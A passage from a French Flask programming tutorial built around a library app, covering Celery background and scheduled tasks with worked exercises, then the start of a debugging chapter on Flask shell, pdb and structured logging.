    Crée un endpoint de chat simple : rejoindre_salle + envoyer_message.
    Teste avec 2 onglets navigateur.

  Exercice 52.2 : Ajoute un événement 'typing' qui notifie les autres
    utilisateurs qu'on est en train d'écrire.
    Affiche "Alice est en train d'écrire..." dans l'interface.

  Exercice 52.3 : Implémente une salle 'admin_live' accessible seulement
    aux admins. Diffuser les nouvelles inscriptions en temps réel.

NIVEAU AVANCÉ :
  Exercice 52.4 : Configure Flask-SocketIO avec Redis comme message_queue
    pour supporter plusieurs workers Gunicorn.
    Teste que les messages arrivent même avec 4 workers.


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 53 — CELERY : TÂCHES ASYNCHRONES ET PLANIFIÉES             ║
║     Exécuter des tâches lourdes sans bloquer les requêtes HTTP                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POURQUOI CELERY ?
──────────────────
Certaines tâches prennent trop de temps pour être exécutées dans
le cycle requête-réponse HTTP :

  PROBLÈME : Envoyer 10 000 emails prend 30 secondes
  -> La requête HTTP reste bloquée 30 secondes
  -> L'utilisateur voit un spinner ou un timeout

  SOLUTION CELERY :
  1. La requête reçoit immédiatement une réponse 202 Accepted
  2. La tâche lourde est mise en file d'attente (Redis/RabbitMQ)
  3. Un worker Celery séparé exécute la tâche en arrière-plan
  4. L'utilisateur peut vérifier l'avancement via un job_id

CAS D'USAGE BOOKFLOW :
  [OK] Envoi d'emails de bienvenue / reset mot de passe
  [OK] Import massif de livres (500+ livres)
  [OK] Génération de rapports PDF/Excel
  [OK] Nettoyage périodique des tokens expirés
  [OK] Rappels automatiques pour les retards d'emprunt
  [OK] Calcul des recommandations personnalisées


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION ET CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install celery redis flower

CONFIGURATION CELERY :

  # app/celery_app.py
  from celery import Celery
  from celery.schedules import crontab
  import os

  def creer_celery(app=None):
      """
      Crée et configure l'instance Celery.
      Peut être appelé avec ou sans l'application Flask.
      """
      celery = Celery(
          'bookflow',
          broker=os.getenv('REDIS_URL', 'redis://localhost:6379/0'),
          backend=os.getenv('REDIS_URL', 'redis://localhost:6379/0'),
          include=[
              'app.tasks.emails',
              'app.tasks.maintenance',
              'app.tasks.rapports',
          ]
      )

      celery.conf.update(
          # Sérialisation
          task_serializer        = 'json',
          result_serializer      = 'json',
          accept_content         = ['json'],

          # Timezone
          timezone               = 'Africa/Dakar',
          enable_utc             = True,

          # Retry automatique
          task_acks_late         = True,     # Acknowledge seulement après succès
          task_reject_on_worker_lost = True, # Remettre en queue si worker crash

          # Limites
          task_soft_time_limit   = 300,  # Warning après 5 min
          task_time_limit        = 600,  # Kill après 10 min
          worker_max_tasks_per_child = 100,  # Recycler le worker après 100 tâches

          # Résultats
          result_expires         = 86400,  # Résultats gardés 24h

          # Tâches planifiées (Celery Beat)
          beat_schedule = {
              # Tous les jours à 8h : rappels de retard
              'rappels-retards-quotidiens': {
                  'task':     'app.tasks.maintenance.envoyer_rappels_retards',
                  'schedule': crontab(hour=8, minute=0),
              },
              # Tous les dimanches à 2h : nettoyage
              'nettoyage-hebdomadaire': {
                  'task':     'app.tasks.maintenance.nettoyer_tokens_expires',
                  'schedule': crontab(hour=2, minute=0, day_of_week=0),
              },
              # Toutes les heures : mise à jour stats
              'stats-catalogue': {
                  'task':     'app.tasks.maintenance.mettre_a_jour_stats',
                  'schedule': crontab(minute=0),
              },
          }
      )

      # Lier à Flask si disponible (pour accéder au contexte app)
      if app:
          class ContextTask(celery.Task):
              def __call__(self, *args, **kwargs):
                  with app.app_context():
                      return self.run(*args, **kwargs)
          celery.Task = ContextTask

      return celery

  # Instance globale
  celery_app = creer_celery()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  TÂCHES EMAILS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/tasks/emails.py
  from app.celery_app import celery_app
  from celery.utils.log import get_task_logger
  from celery import Task

  logger = get_task_logger(__name__)

  @celery_app.task(
      bind=True,                  # Accès à self (objet Task)
      name='app.tasks.emails.envoyer_email',
      max_retries=3,              # Retry max 3 fois
      default_retry_delay=60,     # Attendre 60s entre les retries
      autoretry_for=(Exception,), # Retry automatique sur toute exception
  )
  def envoyer_email_async(
      self: Task,
      destinataire: str,
      sujet: str,
      template: str,
      contexte: dict = None
  ):
      """
      Envoie un email de manière asynchrone.

      Retries automatiques si l'envoi échoue (serveur SMTP indisponible).
      """
      logger.info(f"Envoi email à {destinataire} (template: {template})")

      try:
          from app.utils.email import envoyer_email
          envoyer_email(destinataire, sujet, template, **(contexte or {}))
          logger.info(f"Email envoyé avec succès à {destinataire}")
          return {'statut': 'envoye', 'destinataire': destinataire}

      except Exception as exc:
          logger.error(f"Échec envoi email à {destinataire}: {exc}")
          # Lever l'exception pour déclencher le retry
          raise self.retry(exc=exc)

  @celery_app.task(name='app.tasks.emails.envoyer_bienvenue')
  def envoyer_bienvenue_async(user_id: int):
      """Envoie l'email de bienvenue à un nouvel utilisateur."""
      from app.models import Utilisateur
      user = Utilisateur.query.get(user_id)
      if not user:
          logger.warning(f"Utilisateur {user_id} introuvable pour email bienvenue")
          return

      envoyer_email_async.delay(
          user.email,
          'Bienvenue sur BookFlow ! [DOCS]',
          'emails/bienvenue',
          {'user': {'nom': user.nom, 'email': user.email}}
      )

  @celery_app.task(name='app.tasks.emails.envoyer_rappels_retards_batch')
  def envoyer_rappels_retards_batch():
      """
      Envoie les emails de rappel pour les emprunts en retard.
      Utilise un groupe Celery pour paralléliser.
      """
      from datetime import datetime, timezone
      from app.models import Emprunt
      from celery import group

      maintenant = datetime.now(timezone.utc)
      emprunts_en_retard = Emprunt.query.filter(
          Emprunt.statut == 'en_cours',
          Emprunt.date_retour_prevue < maintenant
      ).all()

      logger.info(f"{len(emprunts_en_retard)} emprunts en retard à traiter")

      # Créer un groupe de tâches parallèles
      taches = group(
          envoyer_rappel_retard_unique.s(e.id)
          for e in emprunts_en_retard
      )
      taches.apply_async()

      return {'nb_emails': len(emprunts_en_retard)}

  @celery_app.task(name='app.tasks.emails.envoyer_rappel_retard_unique')
  def envoyer_rappel_retard_unique(emprunt_id: int):
      """Envoie le rappel de retard pour un emprunt spécifique."""
      from app.models import Emprunt
      from sqlalchemy.orm import joinedload

      emprunt = Emprunt.query.options(
          joinedload(Emprunt.livre),
          joinedload(Emprunt.utilisateur)
      ).get(emprunt_id)

      if not emprunt or not emprunt.utilisateur:
          return

      from datetime import datetime, timezone
      jours_retard = (datetime.now(timezone.utc) - emprunt.date_retour_prevue).days

      envoyer_email_async.apply_async(args=[
          emprunt.utilisateur.email,
          f'Rappel : retour de livre en retard ({jours_retard} jours)',
          'emails/retard',
          {
              'user': {'nom': emprunt.utilisateur.nom},
              'livre': {'titre': emprunt.livre.titre if emprunt.livre else '?'},
              'jours_retard': jours_retard
          }
      ])


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  TÂCHES DE MAINTENANCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/tasks/maintenance.py
  from app.celery_app import celery_app
  from celery.utils.log import get_task_logger

  logger = get_task_logger(__name__)

  @celery_app.task(name='app.tasks.maintenance.nettoyer_tokens_expires')
  def nettoyer_tokens_expires():
      """Supprime les tokens JWT révoqués expirés de la blacklist."""
      from datetime import datetime, timezone
      from app.models import TokenRevoque
      from app.extensions import db

      maintenant = datetime.now(timezone.utc)
      nb = TokenRevoque.query.filter(
          TokenRevoque.expire_le < maintenant
      ).delete()
      db.session.commit()

      logger.info(f"Nettoyage tokens : {nb} tokens expirés supprimés")
      return {'tokens_supprimes': nb}

  @celery_app.task(name='app.tasks.maintenance.marquer_emprunts_en_retard')
  def marquer_emprunts_en_retard():
      """Marque automatiquement les emprunts dépassés."""
      from datetime import datetime, timezone
      from app.models import Emprunt
      from app.extensions import db

      maintenant = datetime.now(timezone.utc)
      nb = Emprunt.query.filter(
          Emprunt.statut == 'en_cours',
          Emprunt.date_retour_prevue < maintenant
      ).update({'statut': 'en_retard'}, synchronize_session='fetch')
      db.session.commit()

      logger.info(f"Emprunts marqués en retard : {nb}")

      # Envoyer les rappels
      if nb > 0:
          from app.tasks.emails import envoyer_rappels_retards_batch
          envoyer_rappels_retards_batch.delay()

      return {'emprunts_retard': nb}

  @celery_app.task(name='app.tasks.maintenance.mettre_a_jour_stats')
  def mettre_a_jour_stats():
      """Met à jour les statistiques en cache."""
      from app.extensions import cache
      cache.delete('admin_dashboard')
      cache.delete('stats_livres_global')
      logger.info("Cache stats invalidé")
      return {'cache_invalide': True}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  TÂCHES AVEC PROGRESSION (PROGRESS TRACKING)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/tasks/rapports.py
  from app.celery_app import celery_app

  @celery_app.task(bind=True, name='app.tasks.rapports.importer_livres')
  def importer_livres_async(self, livres_data: list, user_id: int):
      """
      Importe des livres en masse avec suivi de la progression.
      Les requêtes peuvent suivre la progression via le job_id.
      """
      total = len(livres_data)
      resultats = {'crees': 0, 'erreurs': [], 'livres': []}

      from app.models import Livre
      from app.extensions import db
      from app.services.livre_service import LivreService
      service = LivreService()

      for i, livre_data in enumerate(livres_data):
          # Mettre à jour la progression dans les métadonnées de la tâche
          self.update_state(
              state='PROGRESS',
              meta={
                  'current':   i + 1,
                  'total':     total,
                  'percent':   round((i + 1) / total * 100),
                  'message':   f"Import {i+1}/{total} : {livre_data.get('titre', '?')}",
                  'resultats': resultats
              }
          )

          try:
              livre = service.creer_livre(livre_data)
              resultats['crees'] += 1
              resultats['livres'].append({'id': livre.id, 'titre': livre.titre})

          except Exception as e:
              resultats['erreurs'].append({
                  'index': i,
                  'titre': livre_data.get('titre', 'Inconnu'),
                  'erreur': str(e)
              })

      # Commit final
      try:
          db.session.commit()
      except Exception as e:
          db.session.rollback()
          raise

      return {
          'statut':  'termine',
          'total':   total,
          'crees':   resultats['crees'],
          'erreurs': len(resultats['erreurs']),
          'details': resultats
      }

  # Route Flask pour déclencher l'import et suivre la progression
  @api_admin_bp.route('/livres/import-async', methods=['POST'])
  @admin_requis
  def import_async():
      """Démarre un import asynchrone."""
      livres_data = request.get_json(silent=True, force=True) or {}
      livres = livres_data.get('livres', [])

      if not livres:
          return jsonify({'error': 'Aucun livre à importer'}), 400

      user = obtenir_utilisateur_courant()

      # Démarrer la tâche en arrière-plan
      task = importer_livres_async.apply_async(
          args=[livres, user.id],
          countdown=0  # Démarrer immédiatement
      )

      return jsonify({
          'success': True,
          'message': f'Import de {len(livres)} livres démarré',
          'job_id':  task.id,
          'suivi_url': f'/api/v1/jobs/{task.id}'
      }), 202  # 202 Accepted

  @api_bp.route('/jobs/<job_id>', methods=['GET'])
  @login_requis
  def suivre_job(job_id):
      """Suit la progression d'une tâche Celery."""
      from celery.result import AsyncResult
      task = AsyncResult(job_id, app=celery_app)

      if task.state == 'PENDING':
          return jsonify({'statut': 'en_attente', 'progression': 0})
      elif task.state == 'PROGRESS':
          return jsonify({
              'statut':     'en_cours',
              'progression': task.info.get('percent', 0),
              'message':    task.info.get('message', ''),
              'current':    task.info.get('current', 0),
              'total':      task.info.get('total', 0)
          })
      elif task.state == 'SUCCESS':
          return jsonify({'statut': 'termine', 'resultat': task.result})
      elif task.state == 'FAILURE':
          return jsonify({'statut': 'erreur', 'erreur': str(task.info)}), 500
      else:
          return jsonify({'statut': task.state.lower()})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  DÉMARRER CELERY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Démarrer le worker Celery
  celery -A app.celery_app worker --loglevel=info --concurrency=4

  # Démarrer Celery Beat (tâches planifiées)
  celery -A app.celery_app beat --loglevel=info

  # Démarrer les deux ensemble (dev uniquement)
  celery -A app.celery_app worker --beat --loglevel=info

  # Flower : interface web de monitoring Celery
  celery -A app.celery_app flower --port=5555
  # -> Accéder sur http://localhost:5555
  # Affiche : workers actifs, tâches en cours, historique, statistiques

  # Dans docker-compose.yml
  # celery_worker:
  #   image: bookflow-app
  #   command: celery -A app.celery_app worker --loglevel=info
  #   env_file: .env
  #   depends_on: [redis, postgres]
  #
  # celery_beat:
  #   image: bookflow-app
  #   command: celery -A app.celery_app beat --loglevel=info
  #   env_file: .env
  #   depends_on: [redis]

  # Systemd service pour Celery en production
  # /etc/systemd/system/bookflow-celery.service
  # [Service]
  # User=bookflow
  # WorkingDirectory=/opt/bookflow
  # ExecStart=/opt/bookflow/venv/bin/celery -A app.celery_app worker --loglevel=info
  # Restart=on-failure


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 53.1 : Configure Celery avec Redis comme broker.
    Crée une tâche simple hello_world qui loggue un message.
    Lance avec : celery -A app.celery_app worker
    Appelle via : hello_world.delay()

  Exercice 53.2 : Déplace l'envoi d'email de bienvenue en tâche Celery.
    Après register -> retourner 201 immédiatement
    Email envoyé en arrière-plan par Celery.
    Teste que l'inscription est instantanée malgré l'email.

  Exercice 53.3 : Configure Celery Beat pour nettoyer les tokens expirés
    tous les jours à 3h du matin.
    Vérifie dans les logs que la tâche s'exécute.

NIVEAU INTERMÉDIAIRE :
  Exercice 53.4 : Implémente le suivi de progression pour l'import de livres.
    POST /admin/livres/import-async -> retourne job_id
    GET /jobs/<job_id> -> retourne la progression en %
    Teste avec curl en boucle pendant l'import.

  Exercice 53.5 : Ajoute une tâche de rapport hebdomadaire automatique :
    Tous les lundis à 9h -> envoyer à l'admin un email avec :
    - Nb nouveaux inscrits cette semaine
    - Nb emprunts cette semaine
    - Liste des 5 livres les plus empruntés

NIVEAU AVANCÉ :
  Exercice 53.6 : Configure Flower et accède au dashboard.
    Implémente une authentification sur Flower (Basic Auth via Nginx).
    Crée des alertes Flower -> Slack si une tâche échoue.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 53.2 — Email async au register :

  # app/routes/api/v1/auth.py
  @auth_bp.route('/register', methods=['POST'])
  def register():
      # ... validation, création user ...
      db.session.commit()

      # Envoyer l'email EN ARRIÈRE-PLAN (non bloquant)
      from app.tasks.emails import envoyer_bienvenue_async
      envoyer_bienvenue_async.delay(user.id)  # .delay() = async

      # Retourner 201 IMMÉDIATEMENT sans attendre l'email
      return jsonify({
          'success': True,
          'message': 'Compte créé ! Email de bienvenue en cours d\'envoi.',
          'data': {'id': user.id, 'email': user.email}
      }), 201

CORRIGÉ 53.5 — Rapport hebdomadaire :

  from celery.schedules import crontab

  # Dans beat_schedule :
  'rapport-hebdo-admin': {
      'task':     'app.tasks.rapports.rapport_hebdomadaire_admin',
      'schedule': crontab(hour=9, minute=0, day_of_week=1),  # Lundi 9h
  }

  @celery_app.task(name='app.tasks.rapports.rapport_hebdomadaire_admin')
  def rapport_hebdomadaire_admin():
      from datetime import datetime, timezone, timedelta
      from sqlalchemy import func
      from app.models import Utilisateur, Emprunt, Livre

      maintenant = datetime.now(timezone.utc)
      debut_semaine = maintenant - timedelta(days=7)

      new_users = Utilisateur.query.filter(
          Utilisateur.created_at >= debut_semaine
      ).count()

      emprunts_semaine = Emprunt.query.filter(
          Emprunt.created_at >= debut_semaine
      ).count()

      top_livres = db.session.query(
          Livre.titre, func.count(Emprunt.id).label('nb')
      ).join(Emprunt).filter(
          Emprunt.created_at >= debut_semaine
      ).group_by(Livre.titre).order_by(func.count(Emprunt.id).desc()).limit(5).all()

      # Envoyer à tous les admins
      admins = Utilisateur.query.filter_by(role='admin', est_actif=True).all()
      for admin in admins:
          envoyer_email_async.delay(
              admin.email,
              f'Rapport hebdomadaire BookFlow — semaine du {debut_semaine.strftime("%d/%m")}',
              'emails/rapport_hebdo',
              {
                  'admin': {'nom': admin.nom},
                  'new_users': new_users,
                  'emprunts': emprunts_semaine,
                  'top_livres': [{'titre': t, 'nb': n} for t, n in top_livres],
                  'periode': f"{debut_semaine.strftime('%d/%m')} -> {maintenant.strftime('%d/%m/%Y')}"
              }
          )

      return {'admins_notifies': len(admins)}


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] BOOKFLOW — ARCHITECTURE TEMPS RÉEL COMPLÈTE                      ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

  STACK TEMPS RÉEL ET ASYNCHRONE :

  CLIENT                  FLASK             REDIS              CELERY
  ──────                  ─────             ─────              ──────
  EventSource ──SSE──->   /notifications    Pub/Sub        <-── Worker
  Socket.IO   <-──WS──->   SocketIO          Queue          <-── Beat
  HTTP        ──POST──->  /import-async  ->  Broker  ──────────-> Worker
  GET /jobs/<id> <-──────  /jobs/<id>   <-── Results

  CAS D'USAGE IMPLÉMENTÉS :
  [OK] Notifications push (livre disponible, retard)
  [OK] Chat en temps réel par genre
  [OK] Dashboard admin live (activité utilisateurs)
  [OK] Emails asynchrones (bienvenue, retard, rapport)
  [OK] Import massif avec suivi progression
  [OK] Tâches planifiées (nettoyage, rappels, stats)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 16 — AVANCÉ

  [DOCS] Tu as appris :
     -> SSE : format texte, générateur Python, formater_sse(),
       stream_with_context(), heartbeat pour Nginx, Redis Pub/Sub
     -> JavaScript SSE : EventSource, reconnexion automatique,
       gestion des événements nommés, GestionnaireNotifications
     -> Flask-SocketIO : install eventlet, events (connect/disconnect/message),
       salles (join_room/leave_room), broadcast, authentification JWT au handshake
     -> Celery : architecture broker/worker/beat, configuration complète,
       ContextTask pour accéder à Flask, retries automatiques
     -> Tâches emails : @celery_app.task avec bind=True, max_retries, autoretry_for
     -> Celery Beat : crontab scheduler, tâches planifiées (nettoyage, rappels)
     -> Progress tracking : update_state PROGRESS, AsyncResult, endpoint /jobs/<id>
     -> Flower : monitoring des workers et tâches
     -> Docker : services celery_worker et celery_beat séparés

  -> Prochaine étape : Partie 17 — Debugging avancé et résolution de problèmes

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 17 : DEBUGGING AVANCÉ                   ║
║         Outils, Erreurs Courantes et Résolution de Problèmes Flask                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 17 / 20
Chapitres      : 54 -> 56
Prérequis      : Toutes les parties précédentes
Projet fil     : BookFlow — Diagnostic et résolution de problèmes réels

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 17
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 54 — Outils de debugging : Flask Shell, pdb, logging structuré
  CHAPITRE 55 — Erreurs courantes Flask et SQLAlchemy : causes et solutions
  CHAPITRE 56 — Techniques de debugging en production

  PROJET FIL ROUGE — BookFlow : diagnostiquer et résoudre 20 problèmes réels

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 54 — OUTILS DE DEBUGGING                                    ║
║         Flask Shell, pdb, logging structuré et Flask-DebugToolbar                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  FLASK SHELL — LE MEILLEUR AMI DU DÉVELOPPEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask Shell est un interpréteur Python interactif avec le contexte
de l'application Flask déjà chargé.

UTILISATION DE BASE :

  flask shell
  # -> Python 3.11.0 (Flask Shell)
  # >>> Toutes les extensions et le contexte Flask sont disponibles

  # Inspecter les modèles
  >>> from app.models import Livre, Utilisateur, Emprunt
  >>> Livre.query.count()
  42
  >>> livres_sf = Livre.query.filter_by(genre='science-fiction').all()
  >>> for l in livres_sf[:3]:
  ...     print(l.titre, '—', l.auteur)
  Dune — Frank Herbert
  Foundation — Isaac Asimov
  Neuromancer — William Gibson

  # Tester un service directement
  >>> from app.services.livre_service import LivreService
  >>> service = LivreService()
  >>> livre = service.creer_livre({'titre': 'Test Shell', 'auteur': 'Dev'})
  >>> print(livre.id)
  43

  # Tester la BDD
  >>> from app.extensions import db
  >>> db.session.info        # Voir l'état de la session
  >>> db.engine.url          # Voir l'URL de connexion
  >>> db.engine.execute('SELECT version()')  # SQL direct

  # Tester les tokens JWT
  >>> from app.utils.jwt_utils import generer_tokens
  >>> user = Utilisateur.query.first()
  >>> tokens = generer_tokens(user)
  >>> print(tokens['access_token'][:50] + '...')
  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

  # Rollback une opération de test
  >>> livre_test = Livre(titre='À supprimer', auteur='Test')
  >>> db.session.add(livre_test)
  >>> db.session.flush()
  >>> print(livre_test.id)    # ID attribué
  >>> db.session.rollback()   # Annuler
  >>> Livre.query.filter_by(titre='À supprimer').count()
  0

ENRICHIR LE SHELL (contexte automatique) :

  # app/__init__.py
  @app.shell_context_processor
  def make_shell_context():
      """
      Injecte automatiquement ces variables dans flask shell.
      Plus besoin d'importer manuellement à chaque fois.
      """
      from app.models import Livre, Utilisateur, Emprunt, Avis, Categorie
      from app.services.livre_service import LivreService
      from app.services.auth_service import AuthService

      return {
          'db':           db,
          'Livre':        Livre,
          'User':         Utilisateur,
          'Emprunt':      Emprunt,
          'Avis':         Avis,
          'Categorie':    Categorie,
          'LivreService': LivreService,
          'AuthService':  AuthService,
      }

  # Dans le shell, tout est disponible directement :
  # flask shell
  # >>> Livre.query.first()
  # >>> LivreService().creer_livre({'titre': 'Test', 'auteur': 'Dev'})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  PDB — DÉBOGUEUR PYTHON INTERACTIF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

pdb est le débogueur intégré à Python. Il permet d'arrêter l'exécution
à un point précis et d'inspecter l'état du programme.

INSÉRER UN POINT D'ARRÊT :

  # Méthode 1 : breakpoint() (Python 3.7+, recommandée)
  def creer_livre(self, data: dict):
      titre = data.get('titre', '').strip()
      breakpoint()  # <- Arrêt ici ! Ouvre le débogueur
      # ...

  # Méthode 2 : import pdb
  import pdb; pdb.set_trace()  # Ancienne syntaxe

  # Méthode 3 : pdb.post_mortem() (après une exception)
  try:
      resultat = fonction_avec_bug()
  except Exception:
      import pdb; pdb.post_mortem()

COMMANDES PDB ESSENTIELLES :

  n   (next)        -> Exécuter la ligne courante et aller à la suivante
  s   (step)        -> Entrer dans la fonction appelée
  c   (continue)    -> Continuer jusqu'au prochain breakpoint
  q   (quit)        -> Quitter le débogueur
  p x               -> Afficher la valeur de x
  pp x              -> Afficher x avec pretty-print
  l   (list)        -> Afficher le code autour de la ligne courante
  w   (where)       -> Afficher la pile d'appels (call stack)
  u   (up)          -> Remonter d'un niveau dans la pile
  d   (down)        -> Descendre d'un niveau dans la pile
  !x = 42           -> Modifier la variable x
  h   (help)        -> Aide

EXEMPLE DE SESSION PDB :

  # Code Flask avec bug
  @api_livres_bp.route('/', methods=['POST'])
  def creer_livre():
      data = request.get_json()
      breakpoint()
      livre = LivreService().creer_livre(data)
      return jsonify(livre.to_dict()), 201

  # Dans le terminal où Flask tourne :
  # > app/routes/api/v1/livres.py(47)creer_livre()
  # -> livre = LivreService().creer_livre(data)
  # (Pdb) p data
  # {'titre': 'Dune', 'auteur': 'Herbert', 'pages': 900}
  # (Pdb) p data.get('genre')
  # None  <- Voilà le bug ! genre est None
  # (Pdb) n  <- Continuer
  # (Pdb) p livre
  # <Livre #43: Dune>
  # (Pdb) c  <- Continuer l'exécution

IPDB (Version améliorée avec coloration syntaxique) :

  pip install ipdb

  import ipdb; ipdb.set_trace()
  # ou
  breakpoint()  # Si PYTHONBREAKPOINT=ipdb.set_trace est défini


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LOGGING STRUCTURÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un bon système de logs est essentiel pour comprendre ce qui se passe.

CONFIGURATION DU LOGGING BOOKFLOW :

  # app/utils/logging_config.py
  import logging, os, json
  from logging.handlers import RotatingFileHandler
  from datetime import datetime

  class FormatterJSON(logging.Formatter):
      """
      Formateur de logs en JSON structuré.
      Facilite l'analyse avec des outils comme ELK (Elasticsearch, Logstash, Kibana).
      """
      def format(self, record: logging.LogRecord) -> str:
          log_data = {
              'timestamp':  datetime.utcnow().isoformat(),
              'level':      record.levelname,
              'logger':     record.name,
              'message':    record.getMessage(),
              'module':     record.module,
              'function':   record.funcName,
              'line':       record.lineno,
          }
          # Ajouter les données extra si présentes
          if hasattr(record, 'extra'):
              log_data.update(record.extra)
          # Ajouter l'exception si présente
          if record.exc_info:
              log_data['exception'] = self.formatException(record.exc_info)

          return json.dumps(log_data, ensure_ascii=False)

  def configurer_logging(app):
      """Configure le système de logging pour BookFlow."""

      # Niveau selon l'environnement
      niveau = logging.DEBUG if app.debug else logging.INFO
      app.logger.setLevel(niveau)

      # Format lisible pour le développement
      format_dev = '[%(asctime)s] %(levelname)s [%(name)s:%(lineno)d] %(message)s'
      format_date = '%Y-%m-%d %H:%M:%S'

      if app.debug:
          # Dev : logs colorés dans le terminal
          handler_console = logging.StreamHandler()
          handler_console.setFormatter(
              logging.Formatter(format_dev, datefmt=format_date)
          )
          app.logger.addHandler(handler_console)

      else:
          # Production : logs JSON rotatifs
          os.makedirs('logs', exist_ok=True)

          # Fichier principal (INFO et +)
          handler_fichier = RotatingFileHandler(
              'logs/bookflow.log',
              maxBytes=10 * 1024 * 1024,  # 10 MB par fichier
              backupCount=10              # Garder 10 fichiers
          )
          handler_fichier.setLevel(logging.INFO)
          handler_fichier.setFormatter(FormatterJSON())
          app.logger.addHandler(handler_fichier)

          # Fichier d'erreurs séparé (WARNING et +)
          handler_erreurs = RotatingFileHandler(
              'logs/bookflow_errors.log',
              maxBytes=5 * 1024 * 1024,
              backupCount=5
          )
          handler_erreurs.setLevel(logging.WARNING)
          handler_erreurs.setFormatter(FormatterJSON())
          app.logger.addHandler(handler_erreurs)

UTILISATION DES LOGS :

  from flask import current_app

  # Niveaux de log
  current_app.logger.debug("Variable: %s", variable)    # Debug (dev seulement)
  current_app.logger.info("Livre créé: id=%d", livre.id) # Info (événements normaux)
  current_app.logger.warning("Tentative suspecte IP=%s", ip)  # Avertissement
  current_app.logger.error("Erreur BDD: %s", str(e))     # Erreur
  current_app.logger.critical("Service indisponible!")   # Critique

  # Logger contextuel dans les services
  import logging
  logger = logging.getLogger(__name__)  # Logger nommé par module

  class LivreService:
      def creer_livre(self, data: dict):
          logger.info("Création livre", extra={'titre': data.get('titre'), 'user_id': user_id})
          try:
              # ...
              logger.info("Livre créé", extra={'livre_id': livre.id})
              return livre
          except Exception as e:
              logger.error("Échec création livre", extra={
                  'data': data,
                  'error': str(e)
              }, exc_info=True)  # exc_info=True inclut le traceback
              raise

RECHERCHE DANS LES LOGS :

  # Chercher toutes les erreurs des dernières 24h
  grep '"level": "ERROR"' logs/bookflow.log | tail -50

  # Chercher les erreurs d'un utilisateur spécifique
  grep '"user_id": 42' logs/bookflow.log

  # Analyser avec jq (JSON logs)
  cat logs/bookflow.log | jq 'select(.level == "ERROR")' | jq '.message'

  # Voir les logs en temps réel avec grep
  tail -f logs/bookflow.log | grep -v '"level": "DEBUG"'


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  FLASK-DEBUGTOOLBAR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-debugtoolbar

  # app/__init__.py (dev seulement)
  if config_name == 'development':
      from flask_debugtoolbar import DebugToolbarExtension
      app.config.update(
          DEBUG=True,
          DEBUG_TB_ENABLED=True,
          DEBUG_TB_INTERCEPT_REDIRECTS=False,  # Ne pas intercepter les redirects
          DEBUG_TB_PROFILER_ENABLED=True,      # Activer le profiler
          DEBUG_TB_PANELS=[
              'flask_debugtoolbar.panels.versions.VersionDebugPanel',
              'flask_debugtoolbar.panels.timer.TimerDebugPanel',
              'flask_debugtoolbar.panels.headers.HeaderDebugPanel',
